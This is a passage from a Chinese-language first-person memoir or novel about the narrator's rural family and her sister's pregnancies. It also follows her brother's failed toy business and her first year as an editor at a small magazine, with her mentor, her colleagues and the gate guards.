我说:“行。我回头就走了,小妹。我现在也没有多少钱,这几百块钱,你拿着自己随便花花吧。” 我妹妹客气了一下说:“不要了,姐。咱妈不是给过了吗。” 我说:“那是给恁老婆婆的,要充公的。这是我给你的。你不要跟恁老婆婆说,你自己留着。” 我妹妹说:“回头我得给俺老婆婆说,不说她不知道。娘家给我花的钱,我都得让她知道。好让她心里有数,以后恁生小孩儿的时候,好让她花钱。” 我笑着说:“随便你吧,我再拍几张小孩儿的照片哈。我喜欢小孩儿。” 我妹妹也笑着说:“行!” 我现在想想,我觉得不知道是我家里穷的原因,还是我妈妈本就是个粗枝大叶的人。我家的女孩,出了嫁,真的就成了泼出去的水。我妹妹生孩子的时候,是她婆婆陪着她去的镇上的医院,我妹妹没给我妈妈打电话,我妈妈也没有叮嘱我妹妹一定要给她打电话。 我妹妹生了孩子,我妈妈也就是按照礼节,给了两千块钱的红包。此外,好像也没有其他的营养和关照。 我妹妹因为孩子被抱进了保温箱,让婆婆家多花了四万块钱,被婆婆数落,心怀愧疚,又受婆婆挟制,月子里没得到好好的滋补。我妈妈离地那么近,也没有给她煮汤做饭来滋补。但我妹妹毕竟是个孕妇。她那是产后的身子。婆婆跟亲妈都没拿她当回事儿。 我妹妹这个人凡事都那么会满足和隐忍,她居然还给他家生二胎三胎,来追生男孩。然后呢,等我妹妹的两个女儿结婚生育以后,我可以想见,我妹妹拿着她们也不会那么太当回事儿。 一些愚昧的自私的害人的观念也是会传承的。 然而我认为这是不对的,一个女孩子,在她结婚产子以后,是理应得到她的妈妈无微不至地呵护和疼爱的。那是她最脆弱的时候啊,她理应是她妈妈的心肝宝贝啊。 我这辈子没有得到我妈妈的那种视若珍宝的疼爱。我白当了一回人了。所以,我对我的孩子特别疼爱。我就是要让她知道,她的妈妈对她非常爱,特别爱,宠爱,疼爱,偏爱,珍爱,唯一爱。一个人来到这个世上,只有得到她该得到的应有的爱,才不枉她来这世上走一遭啊。难道不是吗?我这辈子没有得到的,我会以无限给予的方式给她。我爱了她也就当是爱了我自己了吧。也就当是对我这辈子极度缺爱的生命的一种补偿吧。 4.弟弟的营生 我弟弟为期三年的技校生涯如期毕业了,该找工作了,我弟弟按照学校发的表格做了一个简历,让我给他修改一下。 我一看那简历: 学历:中专; 普通话水平:一般; 教育经历:最高阶段是高中; 社会经验:三年暑假均在鲁南蔬菜批发市场促销。 这简历根本就拿不出手啊。 “自我介绍”部分是空着的,我又给他用一堆没有实际意义的废话充实了一下。他就拿着这份简历去人才市场上撞大运去了。 人才市场上人才济济万头攒动,我弟弟拿着自己的一张简历觉得实在是太单薄太普通,就把自己的私人刻章拿了出来,“啪”地一声,在上头刻下了他的签名:八部天龙! 旁边一个招聘的老板看看笑了。 我弟弟说:“呐,给你一张!” 我弟弟当然没找到工作。学校确实遵守承诺给他们安排了工作,就是去一个说不清是什么名堂的厂里干活儿。我估计那个厂不要上什么技校即使是目不识丁也去得。 我弟弟进去了一下,我在门口儿等着他。不多一会儿,他像个害怕被留饭的孩子一样跑出来了。 我问他:“怎么回事啊?你怎么不多看看啊?” 我弟弟说:“不能干,全是粉尘!” 最终,我弟弟决定去苏州打工。 过了一阵子,他又回家了。 我看到他,就问他:“小弟,你不是在苏州干地蛮好的吗?怎么不干了?” “不干了。厂里的人都拉帮结派,都欺负我。”他说。 “人家有的人是苏北的,苏北的跟苏北的是一伙儿。鸿雁说,我也是苏北的。人家不理他,还是一块儿欺负他。”我妈妈说,“咱家的人到哪都受人欺负。” “厂里有些人是蛮坏的。他们都欺负你吗?有跟你处地好的吗?”我问我弟弟。 “有一个。有一回,我被欺负急了,拿出刀子来,朝那人手上捅了一刀。他刚要报警,我赶紧陪了他五千块钱。后来我们两个处地可好了。”我弟弟得意地说。 “那你回来准备干什么呢?”我问他。 “我准备卖小玩具。” “卖小玩具挣钱吗?” “能挣钱!我准备花两万块钱,买辆小汽车。开着它,天天去赶集。” “买车来你得会开啊,你还没学车呢!”我说。 “嗯,我过阵子就去学车去!” 起蒜的时候,我弟弟决定去学车了。他每天上午在固定的时间去青羊山镇上等公交车。地里,地头,路上,都是忙着起蒜的人,拉蒜的拖拉机。起蒜最抢时间最缺人手,老百姓都忙地跟个土驴似的,连个吃饭放屁的空儿都没有了。我弟弟不在家帮忙,非要去学车。他一走,我妈妈顾不起人,就一个人干。 我弟弟每天一个人走着去青羊山镇上坐车去县里学车。从他的角度考虑,学车刻不容缓,的确没错。可是,他学车学地不是时候。赶在家里最忙的时候学车。他是一点都不为家里考虑了。而地里的那些一坨一坨的大蒜,全是给他的。他可不管,全留给我妈妈一个人干。是的,在撂挑子这方面,他是首屈一指的。 我妈妈自己干活也是干地急急的,但是我弟弟说他要学车,我妈妈也是没有办法。每天,他在我妈妈厌烦又无奈的眼神里抬腿就走,急自己之所急,不管老妈累死累活。他走地很突然也很孤独。因为大多数人都在地里忙着起蒜,没有几个人还有心思去县里。 可是我的弟弟,他自己垂手走在绿杨阴里,这是义无反顾还是厚颜无耻?我说不清楚。我觉得厚颜无耻的成分多一些。 只顾自己贪图享乐,厚颜无耻地置劳苦大众的死活于不顾。 不得不说,成功者和失败者都非常需要这些过硬的心理素质。 我弟弟学车归来,我妈妈每天跟着我弟弟一起去青羊山街卖小玩具。 是的,当爹做娘的,得永远被自己的儿子孙子“割韭菜”。 他晚上也去摆摊,卖那些白色的各种动物造型的发光的小电灯。一闪一闪亮晶晶,很是可爱。我妈妈跟着他一起去。他们娘儿两个,下午出门,到了晚上七八点钟,我弟弟开着他的小汽车,“七里哐当,七里哐当”地,带着我妈妈回家了。 “今天卖地还可以。”我弟弟笑嘻嘻地说,“遇到笑笑了,给她小孩儿几个小玩具。小孩儿都喜欢这个。” 我妹妹打电话过来了:“姐,俺今天吃完饭,带着小孩去青羊山街上溜达,看见俺哥了,他在摆摊卖小玩具的。那些小羊,小老鼠,一闪一闪的,还蛮好玩的。买的人还蛮多的,就是不知道以后还有人买吧。” “谁知道啊。”我说,“咱都巴不得他能发财。” “生意蛮好的,我再去义乌进趟货,别不够卖了。”我弟弟说。 “行。”我妈妈说。 我弟弟就去了义乌。他在义乌给我妈妈打了电话:“妈,我看这些小玩具蛮好的,咱卖地也好。我多进一点吧,存着,别不够卖的了。” “行!好!”我妈妈说。 “那我进一万块钱的货。就这样说了哈,人家马上就发货了。我还得赶紧回家等着接货。”我知道,说这话的时候,我弟弟的身边一定是站着一个谈笑间樯橹灰飞烟灭的老板。他在我弟弟的耳边起劲儿地鼓吹着。只有这样,我弟弟的头脑才能足够发烫发热。哦,又或许,那个老板还是个女的。那就这就更好办了。我弟弟在那个老板的吹捧和鼓吹下,他的发财的万丈雄心又像个热气球一样升腾起来了。他简直俨然就像个有足够财力的老板似的,要跟那个忽悠他的老板称兄道弟了。 我弟弟进了一批新货,又去青羊山街上卖小玩具了。 过了一阵子,我妹妹给我打电话说:“姐,俺哥又在卖小玩具了。我觉得他卖地货不行。谁天天买小玩具哎。又不是吃的喝的。我看他那些小玩具也不行,小蛇,小蜥蜴,都太小了。现在哪还有多少人买这个。人家别人卖的小玩具都比他卖地好玩儿。” 我说:“是的,他卖地那些玩具都过时了,不新奇了。你回头见了他,也跟他说说。” 我妹妹说:“我跟他说了。他又不听。我看不好卖。” 我说:“你说怎么办呢?他进了一万块钱的货呢。” 我妹妹说:“是的,咱家他都搁不下了,还拉了一车放俺家来,把俺家的小汽车给占上了。你说他愣不愣?他怎么进恁么多的?他什么时候能卖完啊?” 我说:“谁知道啊,咱说的他又不听。他说什么咱妈听什么。鸿雁还把一堆小玩具搁恁家了?你说他干的什么事儿?怎么他干什么都得扯上人家的?” 我妹妹说:“谁知道他来。所以我一提他就头疼,就害怕。” 等我回到家,我看到我家的那两间东屋里,堆着一个个蓝色的塑料框子,摞地多高。 我问我妈妈:“这些都是鸿雁的小玩具吗?” 我妈妈说:“哪是的?这才多少啊?他拉了一大车回来,咱家搁不下,都搁笑笑家了。” 我说:“咱家搁不下,人家搁的下啊?” 我妈妈说:“搁她家车上。” 我说:“人家不用车啊。他搁人家,不耽误人家用车啊。又占人家的地方又耽误人家。他做事非得这样。” 我妈妈说:“没事儿,搁着,等卖完蒜,我骑着三轮车,一点点儿地带着去卖。” 我说:“我看着,光咱家的,就愁死了。” 28. 黄门老公 1.初到《小坛》 我妹妹怀二胎的时候,她自己很忐忑,害怕又是个女孩儿。 她打电话跟我说:“姐,你说我怎么又怀上了的?” 我说:“恁自己的事儿,你还问我的?恁怎么又怀上的?耶稣让恁怀上的?” 她说:“你说,我这回还是女孩儿吧?” 我说:“我也不知道。男孩儿女孩儿都好。” 我妹妹说:“可别又是个女孩儿吧。大响家基因不好。他爸爸三代单传,他妈妈就生了四个女孩儿,才生了大响。” 我说:“没事儿。你就算生四个女孩儿,恁老婆婆也不能说你什么。她家就这个基因,她又不是不知道。” 我妹妹说:“我怕又是个女孩,我都不想留的,我想流掉的,俺老婆婆叫留着的。” 我说:“那就留着呗。男孩儿女孩儿都是你的小孩儿,都一样疼。咱妈不是说过吗?不要流产,小孩儿都是投爷奔娘来的。来了就是跟你有缘分。你现在就是好好养胎,顺顺利利地把她生下来。现在是第二个,应该好生一点吧。” 她说:“嗯,我第一胎怀雪寒的时候不怎么能吃,生第一胎也没费什么劲儿。” 我说:“小妹,你生孩子的时候,谁陪着你的?咱妈没去啊?” 她说:“咱妈没去。俺老婆婆陪我去的。当时是夜里,我肚子疼,大响,俺老婆婆,陪着我去的。就去青羊山医院。那个医生,我给叫嫂子。她让我先等着。我疼地受不了了,我说,‘不行,我得去生去!’我就自己爬上那个架子,没过多大会儿,就生出来了。雪寒生出来就小,给抱到保温箱里了。俺老婆婆一直怪我,嫌我不能吃。生的小孩身体也弱。” 我说:“可多孕妇都这样。孕吐。你那时候实在吃不下,那也没办法。” 她说:“就是的。我那时候吃了就吐。喝点水都觉得恶心。” 我说:“先不说了小妹,我明天要去找工作了。我得准备准备。我想去青羊街上拉个头发去。” 小妹说:“你来青羊山啊,那你要我去陪着你说话吗?” 我说:“不用了。我随便找个店拉一下头发就回来了。你怀着孕到哪都不方便。你搁家好好休息吧。” 小妹说:“行,你去吧。头发还是拉直了好看。青羊山这里的女的,都把头发拉地梯直。可好看了。我怀着孕,不能拉。” 我去镇上花了五十块钱拉了头发。 妈妈从山上干活儿回来了,她看到了我变了样儿的头发,就问我说:“花了多少钱啊?” 我说:“五十。” 我妈妈说:“恁么贵。” 第二天,我带着自己的材料,坐上了汽车去徐县应聘。我妈妈见我去找工作,心情很好。 我到了那里,拿着资料排队,等人家审核。还没排到我的时候,就听到前面的人说:“要汉语言专业的”。我心里想,我不是汉语言专业的,那不是没有希望了。 等到了我,审核的人说:“对不起啊,你这个专业不对口,我们要汉语言专业的。你这个专业不符合啊。”我只好把自己的材料收起来,去公交站台,等车回家。 我到了家,心情有点不好,但我知道,找工作的事,不是一蹴而就的,一次不成功也很正常。我就去到压水井那里,打水洗衣服。 我到家不一会儿的功夫,我妈妈从山上回来了。 “怎么样了?”她用期待的语气说。 “没成,专业不对口。”我说。 我妈妈不言语了。显然,她的心情很不好。 “起来!”她说,“我要过去打水!你怎么天天洗衣裳的?天天洗!天天洗!” 我赶紧给她让路,她去压水井那里打了水去添锅。 “你去徐县,车票是多少啊?”我弟弟问我。 “十七。”我说。 “俺去都是十五。你怎么给的恁么多的?”他问我。 “不知道啊,一车子人,人家卖票的就是按照路程收费的。” “同样是去徐县,俺去只要十五,你去就得十七。你有钱,你钱真多。”他说。 “哪事儿哎,人家要恁么多,我能不给啊?”我说。 “你给是的!人家要多少,你就给多少!人家要,你就给!”他说。 “你不存财儿,还是人家鸿雁存财儿。小时候就那样,人家鸿雁有点儿钱就攒着,你不知道攒钱,有点儿钱就去买糖疙瘩吃。”我妈妈说。 “小时候能有多少钱啊。一毛两毛的,值当的嘛。”我说。 “从小看大,三岁看老。人家鸿雁就是比你会存钱。”我妈妈说。 我这个人自尊心很强,也很敏感。那一刻,我感受到了我妈妈的鄙视和不耐烦。那一刻,一口气,还有一包眼泪,一起憋在我的心里。那口气,是好事也是坏事。它让你产生了强烈的冲动,想要走出去。可是,冲动之下的选择,往往是仓促而草率的。那一刻,我特别想有个工作,好让我赶紧离开这个家。我是充分体会到了,一个人没本事的时候,是连亲人都会看不起你的。 我在网上浏览,无意中看到金河市青提区《小坛》杂志社的招聘信息,我就报了名。报名的那天,我到了青提区文化局人事科。一群人等着报名。乌泱泱的。人事科科长坐在那儿,她说不上是出于冷漠还是不耐烦,反正是表情严肃,一头短发,穿着绿裙衣。 “准备的怎么样?”一个女生问另一个女生。 “我也不知道。我就来试试。”那个女生说。 我想,妹子,你还嫩着呢。不能说“试”,你说“试”肯定过不了。我以前也“试”过。这次,老姐姐我,是来争的,来抢的。 “报名考试要钱吗?”人群里有人问。 “不知道啊。先准备好吧。”有人说。 于是,大家都从包里掏出来一张张红色的钱币。 “给!给!报名费!报名费!”大家把人事科科长给围了起来。她面前的桌子上瞬间落下了许多粉红色的纸片。 “不要吵!没人要你们的钱!”人事科科长不耐烦地说。她把那个“钱”字碾在舌头上踩了又踩。大家又纷纷把那张放下的粉红色的纸片捡起来。 到了面试的日子,我自己坐车到了青提区。大家先抓阄,选了自己的号。我是3号。我们被带到一间空的会议室里坐着等待。带着题目的一张纸发了下来,我坐在自己的位子上天昏地暗地写着,写地眼前发黑。我一口气写完,看看我的手稿,我写地很快很潦草,我的字不好,如果是单单看字,或是把书写当作加分项的话,我肯定是不会过关的。 很快就到我了。“3号!”有人喊我说。我拿着自己的手稿走进了面试的会议室。面试的阵容很庞大,最后一排,面对着我坐着的,是好几位从外地请来的中年考官。坐在两旁的,是负责核算分数的一群年轻人。面试的环节很透明,面试的内容也很简单,先是说说自己的打算,这个我早有模版,背得很是熟练。 “尊敬的评委老师:上午好!我是3号选手,今天我演讲的题目是:《红烛》。苏霍姆林斯基说过,在每一个人的心灵深处,都有一种需要,那就是希望自己是一个发现者、研究者、探索者……” 接下来是朗读戴望舒的《雨巷》。我面前的桌子上,有一张白纸。我拿起来就读,我拉着长腔儿,尽可能婉转悠扬地去读: 撑着油纸伞,独自 彷徨在悠长、悠长 又寂寥的雨巷 我希望逢着 一个丁香一样地 结着愁怨的姑娘 她是有 丁香一样的颜色 丁香一样的芬芳 丁香一样的忧愁 在雨中哀怨 哀怨又彷徨 她彷徨在这寂寥的雨巷 撑着油纸伞 像我一样 像我一样地 默默彳亍着 “彳亍”怎么读,我不知道,我迅速地扫了一下页面底端,那儿居然有注释,念chì chù。我嘴里立刻跟上: “彳亍着 冷漠、凄清,又惆怅。” 整个过程,坐在我对面正中间的那个穿着蓝色汗衫的中年考官都在微笑着。他五十岁左右,瘦长的身材,瘦长的脸,他笑笑地看着我。我知道我大概能被《小坛》杂志社录用了。 其实,那时候的我,无论是回答问题的样子,还是回答问题的内容,一切都还很懵懂。可是,那时候,大家也都很懵懂。没有借助任何多媒体,没有什么花样儿。一切都是最朴素的样子。我喜欢那样的朴素。 那群考官,按照古代科举的说法,是我的恩师了,按照古代科举的做法,我是应该拜在他们的门下,自称门生的。但是,在那次面试之后,在各种学术交流的场合,我好像再也没有见过他们。我甚至不知道他们姓啥名谁。我一个外地人,孑然一身,他们把我连根带土地接过来了。是他们一手把我栽培在青提区的。此后,我在这里生活、成长,吃了很多苦,受了很多伤,可是,我还记得他们微笑的模样。 面试过了就是体检。那天去体检的有好几个,我们几个的体检都顺利过关了。 一个五十岁左右的女医生问我们:“你们谁是欧阳杰啊?” 一个黑黑的小青年说:“是我,怎么了?” 那个女医生跟他说:“你的血压有点高,你明天再来吧,你来之前喝点醋。” “好的,谢谢!”那个叫欧阳杰的说。 体检过关了,我们又去人事科科长那儿交材料。人事科科长这次微笑着,一一收齐了我们的材料。很简单,无非是毕业证、学位证,编辑资格证。 “这样,我就算是正式的编辑了?”我问。 “对!”她温和地笑着说。 “我可以告诉我妈妈我有正式的工作了?”我还是不敢相信。 “是的!”她还是温和地笑着说。 “太好了!我马上就打电话给我妈妈!”我兴奋地说。我走在青提区的街道上。看着身旁的街道和楼房。这个地方,我以后就要在这儿工作了。我不知道这以后,他会给我多少欢乐多少惆怅。 报道的那天,我拖着自己的行李坐高铁去了《小坛》,到了《小坛》杂志社,我把行李放在门卫室,跟门卫说了一声儿,走进了《小坛》的大门。在我身后走来的,是一个年轻漂亮的女孩子。她的父母陪伴在她身边,她的父亲高大挺拔,戴着眼镜,晒地黑黑的。她的母亲娇小怡人,披着波浪卷儿。她本人面容娇好,笑容可掬,长发及腰。而我,挺立在她的面前,粗粗壮壮,像个莽汉。 “你是来《小坛》报道的吧?”女孩温柔地问我。 “是的。你也是来报道的吧?”我问她。 “嗯。我叫米娜,你呢?”女孩子问我。她好像永远是温柔的,她的声音好像永远是低低地,她的声音只停留在唇齿间,连上颚都没有到。不像我,我的声音像樵夫扛木头的号子,是历经了喉头、嗓门儿,在丹田那儿被拽上来的。 “我叫宋大省。”我说。 “你是哪里的呀?”她的父母问我。 “我是余洲的。”我说。 “余洲?余洲在哪里啊?”她说。 “余洲在金河北面。你们是哪里的啊?”我问他们。 “我们就是本地的。”他们说。 “那你们可以住自己家了,真好。我还不知道住哪里呢。”我说。 “我们住地也不近。我家在金河市里。今天早上开车到这里开了四十分钟呢。”女孩儿说,“你结婚了吗?你是自己来的吗?”她问我说。 “我还没有对象呢。你呢?”我说。 “我结婚了。都在家里吃了半年的软饭了。”女孩子说。她的脸上泛起了幸福的潮红,把头低下去,好像结婚是什么说不出口的事情。 “不着急,总会找到的。还得是有车有房的。”她父亲说。 “你父母是干嘛的啊,怎么没来陪同你啊?”她妈妈问我。 “我妈妈没来。我家是农民。我什么都靠自己,习惯了。”我说。 “我们这个不行。什么都是我们陪着。”女孩儿的父母温柔地看着她说。女孩子微微一笑,露出了被众星捧月的鲜花一样的笑容。 “你是哪个大学毕业的啊?”女孩子问我。 “余洲大学。”我说。 “余洲大学在哪儿?”女孩儿问。 “在余洲。”我说,“你是哪个大学毕业的啊?” “岚京师范大学。”女孩儿说。 “啊?岚京师范大学,好厉害啊!”我感慨着。 “也没有多厉害。”女孩儿说。 我们到了《小坛》杂志社人事部,那个黑黑的欧阳杰也到了。 “你们是今年新招聘的编辑是吗?我姓言。是专门负责接待你们的。”老言说。 “言编辑好!”我跟他打个招呼,就把我的材料放在他的办公桌上。老言的手里,正拿着欧阳杰的材料。 “你是欧阳杰?”老言问他。 “是的。” “你89年的?” “对!” “你研究生毕业,今年才24岁啊?”老言问他。 “是的。” “青年才俊啊!”老言说,“今年来的都是研究生。你们都是人才啊!” 我们都交了自己的毕业证书和复印件给老言。我一看,人家的大学都是省城的,就我的大学很多人都没听说过。 我笑着跟老言说:“就我出身最低了。” 老言摆摆手说:“英雄不问出处!” 老言问我们:“你们都是外地的吧?你们的住宿问题要安排好。你们去后勤处找乌主任吧。让他带你们去。” 我们说:“乌主任办公室在哪儿呢?” 老言说:“就在一楼。” 我们找到了乌主任。乌主任是个五十多岁的老头儿。有着这个年纪特有的油光的面门儿,和微微发秃的头顶。他带着我们到了员工宿舍六楼,指给我们单间宿舍,把我们的住宿问题给就地解决了。 我自己去门卫室把行李扛到了六楼的宿舍。宿舍里很简单,也很粗糙。一张木板床,一个散发着霉味儿的门板已经开裂的大柜子。还有一张桌子。那个大木柜子有一人多高,直通屋顶。我的行李也很简单,一个大行李袋就装下了我所有的衣衫。这以后,我就在《小坛》住下来了。我被分到了中文组,做起了编辑。 老言通知新员工培训。我,米娜,欧阳杰,拿着会议记录的本子,都到了。培训的地方记不清是哪里了。那是一间不大的小格子间似的一个小型会议室。中间是窄窄的过道,左右各横着四五张桌子。我们坐南朝北地坐着。我习惯性地坐到了第一排,面对着主席台。台上有一男一女。女的四十多岁,短发绿罗裙,皮肤白皙,眼神犀利。我认得她是人事科科长梅宝蓝。我们这些人来青提区报名、考试,乃至于过关以后的体检,都是她一手操办的。现在,我们正式成为她手下的新员工了。我怀着无比的好感和温暖抬起下巴看着她。男的五十上下,高个子,身材瘦长,大背头油光闪亮,发际线像潮水一样退到了脑门儿上。两只双眼皮的大眼睛镶嵌在棕褐色的脸上,眼露精光,观之若鹜。对,像一只精精神神的老鹜。 梅科长简单做了发言:“今年夏天,青提区又引进了一批优秀的编辑,大家都是各自专业里的翘楚,无论是学历,还是综合素质,都是一流的。相信各位新编辑的加入,会为青提区的编辑事业增添无限的光彩。下面,有请青提区文化局郑局长为大家培训。”郑局长点了点头。 “好!我们开始培训了。”郑局长说,“各位同仁,大家上午好。我是郑月白。欢迎大家加入青提区编辑系统这个大家庭。大家都是来自五湖四海,为了一个共同的革命目标走到一起来了。在以后的工作中,我希望大家能做到以下几点。” 局长的话铿锵有力,我低着头,顶着我的兵马俑似的发髻认真地记录着。 “第一,要有使命感、荣誉感。大家作为一名光荣的人民编辑,要善始善终,忠诚于青提区的编辑事业。”郑局长说每句话每个字的时候都咬牙切齿,像是在便秘。我听地严肃认真,记地仔细。 “第二,要有责任有担当。大家要以身作则,严格要求自己,在事业上和人格上做群众的好榜样。”郑局长穿着白色的衬衣,他的牙齿也很白很密。只是他的嗓子不是太好,大概是长期吃酒吃烟的熏陶,尽管他努力地说话,尽管他的身份给了他极大的威严和自信,尽管他努力地提高了嗓门儿,他努力地像是在便秘,可是我依然能够听出来他嗓子不是很好。不知道是不是长期地酒色伤身的缘故,我感觉他中气不是很足。他说起话来,像是一只雄赳赳气昂昂的憨老鸭。 “第三,要清正廉洁,洁身自好。大家在做编辑的过程中要不接受别人请托,不收受他人财物。不贪恋烟酒女色。当然,最后一点主要是针对男同志来说的。”郑局长言之凿凿,言之有理,我对他肃然起敬,怀着崇高的敬意和膜拜之情。 开工会议的那天,郑局长也来了,他在热烈地掌声中登上了主席台。郑局长跟任社长一起面南坐着,他又像当初给我们培训的时候那样,给我们发布了一通恰似便秘的演讲。 “同志们,一个真正优秀的编辑应该是德才兼备的。在座的各位学历都很高,很多是本科学历,有的还是研究生,甚至是博士。请大家扪心自问一下,你们的德是否能配得上你们的才。《易经》有言,厚德载物。德不配位,必有灾殃。一个编辑有才而无德,那他就是个文化流氓。我之所以能够到达今天的程度,那是我几十年如一日不断修养的结果。同志们也要不断提高自身的修养,做一个不仅有才亦且有德的编辑。” “同志们,狭路相逢勇者胜,勇者相逢智者胜,智者相逢狂者胜。让我们在各自的工作岗位上疯起来!狂起来!动起来!” 那时候,我觉得这个郑局长真也是克己复礼,高高在上。郑局长嘶哑着嗓子说了一番惊天地泣鬼神的理论以后就翩然离去了。 接着,任社长在大会上隆重介绍了我们这些新来的: “新的一年,《小坛》杂志社又注入了新鲜的血液,我们迎来了四位优秀的编辑,他们年轻有为,充满了工作的热情和蓬勃的朝气!我相信,有了这几位新人的加盟,我们《小坛》杂志社的明天会更加辉煌!下面,我来介绍一下新来的编辑。” “宋大省!” “哗哗哗”!会场里一片热烈的掌声!我站起身来,朝着大家点头致意。 “米娜!”会场里又是一片掌声! 阚部长把我们几个新来的叫到一起,跟我们说:“你们几个刚刚工作,可能业务上还不是很熟练。你们今年就负责稿一阶段的审核和校对。我给你们安排了师父来带你们。等会后你们就可以去找他们了。米娜是英文组的,就跟着我,由我来带。欧阳杰,你是美术组的,您就跟着余主任。宋编辑,你是中文组的,你就跟着聂编辑学习。你们的办公室也在一起。” 我的师父老聂是一个老员工,很爱抽烟。那时候,《小坛》还没开始明文禁烟,老聂每天在办公室吞云吐雾。他抽了烟,就把烟屁股扔在地上。每天早上,我扫地的时候,总能看到他座位前的一地烟头儿。 一次,老聂不在,马大姐在自己的位子上转过头去,跟吴编辑愤愤地说:“你说老聂也是的,每天在办公室里抽烟,我们每天都要吸他的二手烟!太不自觉了!” “是的呢。”吴编辑附和着说。 “现在人家很多单位都开始禁烟了。就他,还是在办公室里抽。自己不要命,也不管别人死活了。像我们这个岁数的,都开始保养身体了,天天跟着他吸二手烟,谁吃得消呢!”马大姐说。 “是的呢。不为了别人,也为了自己想想啊。要是哪天挂了,还不是自己的老婆孩子跟着倒霉啊。别人谁管你啊。”吴编辑说。 “跟他说不要在办公室里抽吧,他还说什么?你们老公不都在家里抽吗?我老公是我老公啊?你是什么东西啊!真是的!不自觉!”马大姐又骂道。 那时,老聂不在办公室,马大姐尽情地骂着。我听着她的话暗暗发笑。 “你说他年龄也不大,才不到四十岁。怎么看着那么老的。”马大姐说。 “我师傅还不到四十吗?”我问她,“我以为他四十多了呢。” “他哪有啊,他也就七九年的吧。比你们大不了几岁。”马大姐说。 “啊?我师傅才比我大五岁啊?”我惊叹道。 “他那都是抽烟抽的!”马大姐说,“他跟黄温勇他们一起抽烟喝酒打牌,号称《小坛》‘八匹马’,最后熬地连发型都一样。他,老黄,老王,老余,坐在一起打牌,电灯泡照着他们的头顶,一个比一个亮!人称‘四大名旦’!” 老聂是个光头,年龄也才三十六七岁。不知道是不是因为整日被尼古丁熏陶的缘故,他看起来比他的实际年龄要老地多。他的穿着也不怎么讲究,他有一件紫黑色的驴皮似的夹克服在他的身上挥洒着。 他的样子,让我想到列宁。 有一次,他穿了一件蓝白条纹的衣服,我又通过想象给他加了顶白色的□□帽子,这使他在我的印象里又像是个保加利亚人,或是斯洛伐克人。 但是大多数时候,他看起来还是很像列宁。只是身板像,脑袋像,胡子像,肤色并不像。列宁是俄罗斯人,白俄,很白。老聂不是。他的皮肤是黧黑的,有时候,我又觉得他像是大冬天的时候,腰里捆着根山芋秧子,蹲在墙根儿晒太阳的农村老头儿。 有一回,我师父跟我说:“小宋啊,来。这是我在网上档的论文,你全部用自己的语言来转换一下,变成一篇新的文章。” 我按我师父的说法照做了,把那篇论文全部用我自己的语言转换。 我师父出去倚着栏杆抽烟去了。 他抽完一根烟就进来看一下:“嗯!很好!不错!加油!早改完早结束!” 我在我师父的鼓励下更加干劲儿十足了,敲着键盘又是一番噼里啪啦地操作。 我师父又出去抽烟去了。等他抽完一根烟再进来,看了看,说:“嗯,非常好!好好改吧,改好了早点下班!”然后,他又出去抽烟了。 如是再三,等我全部改完以后,让我师父来验收。 我师父看了以后笑着说:“就是这样,你的语言比原文还要好。以后我们就这样合作,我负责档,你负责修改。反正是老黄要的。” “啊?是黄副社长要的啊?”我惊讶地说。 “嗯。我们中文组的好多人都是黄副社长工作室的成员。吴悠悠她们也是。你想加入吗?你想加入的话,你就去。反正那边也缺人手。” 我说:“我不想加入。我怕加入以后有开不完的会,给黄社长干不完的活儿。我就想简简单单地做一个编辑。” 那时候的我,才三十出头,还不懂世事变更,一心想着奋发有为,想为《小坛》杂志社奋斗终生。 平时,我因为无处可去,也不知道该去哪里,就经常泡在办公室里,晚上也去。那时候,我几乎没有出过《小坛》方圆五十米的距离。 老聂看到我经常泡在办公室,就跟我说:“小宋啊,别老是呆在办公室里,下班以后出去溜达溜达,跟男朋友一起玩去!” 我说:“我没男朋友,也不知道去哪里玩。只好来办公室了。我第一年工作,还怕自己弄不好呢。” 我师父笑着说:“你这样兢兢业业的,肯定没问题。” 我还是泡在办公室,星期天也去。 一个星期天的早上,我又在办公室里。任社长给我打电话说:“小宋,你在社里吗?” 我说:“在。” 他说:“你把你们办公室墙上贴着的银行账号发给我。” 我说:“好的。” 我立刻走到墙边儿上,很快就看到了墙上贴着的那张白纸,同时看到了一串银行的账号。我把那账号发给了任社长。 新来的总是要值班的,值班的时候总是要到晚上十点半才能下班。 晚上,值班结束,我拖着疲惫的身体往六楼宿舍爬的时候,遇见了美术组的王编辑。他正在下楼。他听见我上楼的脚步声,回过头来看了一眼说:“才回来啊?”我说:“是的。”他说:“就会欺负新来的!”我说:“王编辑,谢谢你能替我们新来的说句话,我真地好感动啊。我不图别的,就想现在辛苦一点,等以后我生了孩子,不能再这样绑在社里的时候,社里能对我宽松一点。” 等我回到宿舍,洗洗刷刷,就快到十二点了。因此,那时候,最累的事就是值班了。 一天早晨,米娜打电话跟我说:“宋大省,你能帮我值一下班吗?我外婆去世了。我要去上海。” 我说:“好的。” 她说:“等我回来以后,我再还给你。” 我说:“不用了。你外婆去世了,你心情也不好。我也不知道怎么安慰你。我就帮你值个班儿吧。” 米娜说:“那好的,谢谢你了。” 我说:“不用谢。” 上班这几年,在大门口儿来来去去,进进出出,见到门卫,我总是客客气气地跟他们打招呼。 “早啊!” “早!” 有那等面善的门卫师傅,我就问一下对方:“您贵姓啊?” 对方说:“我姓陈。” 陈师傅个子很高,年纪也就五十来岁,他穿着保安的服装,看起来真的像个警察。 陈师傅说:“人家都看不起门卫,就宋编辑对我们客客气气的。” 我说:“陈师傅,我也没钱,可是我们人穷志不短。谁有钱有势,咱也不去巴结谁。谁没钱没势。咱也不去排挤他。再说了,当门卫有什么不好啊?我妈妈说,在农村,想找个看大门儿的工作还不容易呢。” 陈师傅说:“宋编辑是个实在人儿。” 我问他:“陈师傅,您那么辛苦,每个月工资多少啊?” “我工资不高,才一千多,所以我做兼职。”他眼神儿坚定地说。 “天呢,工资那么低啊。那必须做兼职啊,得养家糊口啊。陈师傅,您家几个孩子啊?” “我家两个女儿。”他说。 “那蛮好的。”我说。 后来的一天,我走到门卫室门口儿,陈师傅喊住了我。 “小宋,我大女儿结婚了,这是喜糖!” “哎呀,太感谢您了,陈师傅!谢谢您啊!恭喜啊!” “谢谢宋编辑!” 那时候,周师傅也在。一次,我在门口寄快递,要付钱的时候,我的零钱不够了。 周师傅主动跟我说:“小宋,我这里有钱,你拿去用!”他说着捧出来一把硬币。周师傅的举动让我很是感动。周师傅也有五十上下,个子中等偏下一点,皮肤白白的,一脸的安顺和气。 我说:“太不好意思了周师傅,我回头马上还给你!” “没事,就几块钱!”周师傅说。 一天早上,我路过门卫室的时候,周师傅也叫住了我,他把我拉到一边,悄悄跟我说:“小宋,我要走了。” “啊,周师傅,你要去哪啊?” 